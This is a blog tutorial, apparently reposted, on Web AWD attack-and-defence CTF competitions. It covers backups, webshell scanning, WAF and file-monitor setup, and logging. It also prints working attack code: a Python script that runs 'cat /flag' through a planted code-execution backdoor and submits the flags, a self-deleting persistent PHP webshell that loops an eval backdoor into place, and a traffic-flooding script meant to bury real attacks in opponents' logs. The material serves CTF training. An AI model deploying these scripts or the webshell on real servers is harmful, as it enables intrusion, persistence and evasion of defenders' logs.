WHCSRL 技术网

Web AWD流程与技巧

Web AWD流程与技巧

AWD平台搭建:https://blog.csdn.net/kukudeshuo/article/details/120799308
  • 1

前期准备

文件备份

这里是本地搭的环境,先将三个队伍连接上去

可以看到,一般主办方给的都是一个普通权限
查看网站目录

现在需要做的事就是要将这些文件进行备份,防止误操作删除或者被别人攻击后删除了文件做准备

代码审计

将网站目录下载到本地,进行木马扫描

这里我使用的河马查杀,可以看到,这里有很多木马,可以随便打开一个木马文件查看其内容

可以看到,非常经典的一句话木马,这些木马一般是主办方提前留下的,所以这些文件一定要删除
使用工具进行代码审计


可以看到在footer.php里面存在非常经典的代码执行,我们也需要将他进行注释或者删除,像这些主办方提前留下的漏洞,因为所有队伍的环境都是一样的,所以一开始一定要将这些文件进行删除,也可以利用这些漏洞去攻打其他队伍进行得分,当然,这些都是利用工具进行的简单审计,还需要配合人工进行审计,确保不会失分

弱密码更改

这里就不用说了,像数据库登入密码什么密码的都应该使用强密码

部署WAF

一般AWD比赛都是不允许使用大型公司的WAF产品的,只能通过自己编写代码去部署
首先将自己编写的WAF上传到网站目录下面

然后去数据库配置文件包含该WAF文件即可,因为一般网站的所有页面都是要去连接数据库的

部署文件检测设备

AWD比赛中,可能有人会问,如果把自己网站目录文件直接删除了,那别人不就攻不进来了,答案肯定是错的,check服务器每隔几分钟都会检测各个队伍的文件,如果文件丢失,将会直接扣分,这也成了攻击队伍的一种方式,拿到对方队伍服务器权限后,直接将对方文件进行删除,导致对方队伍扣分
将文件检测设备上传到网站目录下面

模拟攻击队伍删除已方队伍网站文件

可以看到,删除的文件会自动复原
模拟攻击队伍向已方队伍上传恶意木马

可以看到,恶意木马文件也会被自动删除,所以WAF设备和文件检测设备一定要早点部署,越早越好

部署日志文件,分析攻击者行为

上面部署WAF和文件检测设备只能解决攻击者的文件操作问题,所以需要去部署日志文件去分析攻击者的行为,做出相应的解决方案
将生成日志文件上传到网站目录下

然后在网站文件下包含该文件

只要有攻击者访问该网站就会在tmp目录下生成对应日志文件,记录攻击者行为

这样做就可以分析到有后门或无后门的攻击行为数据包找到漏洞进行修复
分析到成功攻击的数据包进行自我利用,用来攻击其他队伍

模拟攻击者进行批量flag提交

前面说到AWD比赛主办方一帮都会提前留下一些后门或者漏洞,这里使用footer.php里面的代码执行漏洞进行批量flag提交

假如现在我是team1,攻击team2和team3进行得分
现在的实时分数

可以看到现在都是四分
批量提交flagpython代码

import requests


def get_flag():
    data = {
        'shell':'cat /flag'
    }
    for i in range(8802,8804):
        url = 'http://192.168.109.128:'+str(i)+'/footer.php'
        result=requests.post(url,data=data).content.decode('utf-8')
        print(result)
        with open(r'flag.txt','a+') as f:
            f.write(result+'
')
            f.close()

def tijiao_flag():
    for flag in open('flag.txt'):
        flag=flag.replace('
','')
        url='http://192.168.109.128:8080/flag_file.php?token=team1&flag='+flag
        requests.get(url)

if __name__ == '__main__':
    get_flag()
    tijiao_flag()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

运行结果

查看运行后的实时分数变化

可以看到team1得了四分,team2和team3分别减了四分

不死马介绍及解决方案

在攻击利用后门获取flag时,不死后门的权限维持尤为重要,同样防守方也要掌握对其不死后门的查杀和利用,这样才能获取更高的分数,对比文件监控前后问题
不死马代码

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'x.php';
$code = '<?php if(md5($_GET["pass"])=="588b0909be46df2e992915a156a4e848"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    usleep(5000);
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

现在模拟攻击者将不死马传到对方web服务器上

然后网页上访问该文件

访问后该文件会自动删除,并且在网站目录下就会生成x.php后门文件


防守人员发现后第一反应肯定是去删除他,但是会发现他删除了之后又会继续生成


可以看到跟之前生成时间不一样
不死马解决方案

1、ps auxww|grep shell.php找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了
2、重启php等web服务
3、用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值
4、创建一个和不死马生成的马一样名字的文件夹

这里以第三种方法为例
fuck.php代码

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'x.php';
$code = 'fuck';
while (1){
    file_put_contents($file,$code);
    usleep(1000);
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

这里usleep时间低于不死马时间即可
浏览器访问该文件

可以看到现在生成的文件就是个正常文件了

搅屎棍发包回首掏共权限

作为各种技术大家都要用的情况下,一个好的攻击漏洞和思路不被捕获和发现,一个好的套路浪费对手的时间,搅屎棍发包回首掏共权限利用思路可以尝试使用
搅屎棍就是向其他队伍发送大量假的数据包,导致对方查看日志时看不过来
python代码

import requests
import time

def scan_attack():
    file={'shell.php','x.php','index.php','web.php','1.php'}
    payload={'cat /flag','ls -al','rm -f','echo 1'}
    while(1):
        for i in range(8802, 8804):
            for ii in file:
                url='http://192.168.109.128:'+ str(i)+'/'+ii
                for iii in payload:
                    data={
                        'payload':iii
                    }
                    try:
                        requests.post(url,data=data)
                        print("正在搅屎:"+str(i)+'|'+ii+'|'+iii)
                        time.sleep(0.5)
                    except Exception as e:
                        time.sleep(0.5)
                        pass


if __name__ == '__main__':
    scan_attack()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

运行结果

查看team2的日志文件

可以看到里面都是一些垃圾数据,如果在里面有几条真的攻击数据,可能防守人员也反应不过来

漏洞资源-漏洞资料库及脚本工具库

比赛准备:如何收集并整理好漏洞,文档资料,脚本工具等
漏洞库:exploitdb,github监控最新信息,平常自己收集整理
文档资料:零组类似文档离线版爬虫,各类资料,平常自己收集整理
脚本工具:忍者系统配合自己常用工具,github监控awd脚本,收集整理

推荐网站
https://github.com/offensive-security/exploitdb
https://www.exploit-db.com/
  • 1
  • 2
  • 3
涉及资源下载地址
链接:https://pan.baidu.com/s/1un3TcLgTQl9pZaYrZelkBw 
提取码:asdf
  • 1
  • 2
  • 3
推荐阅读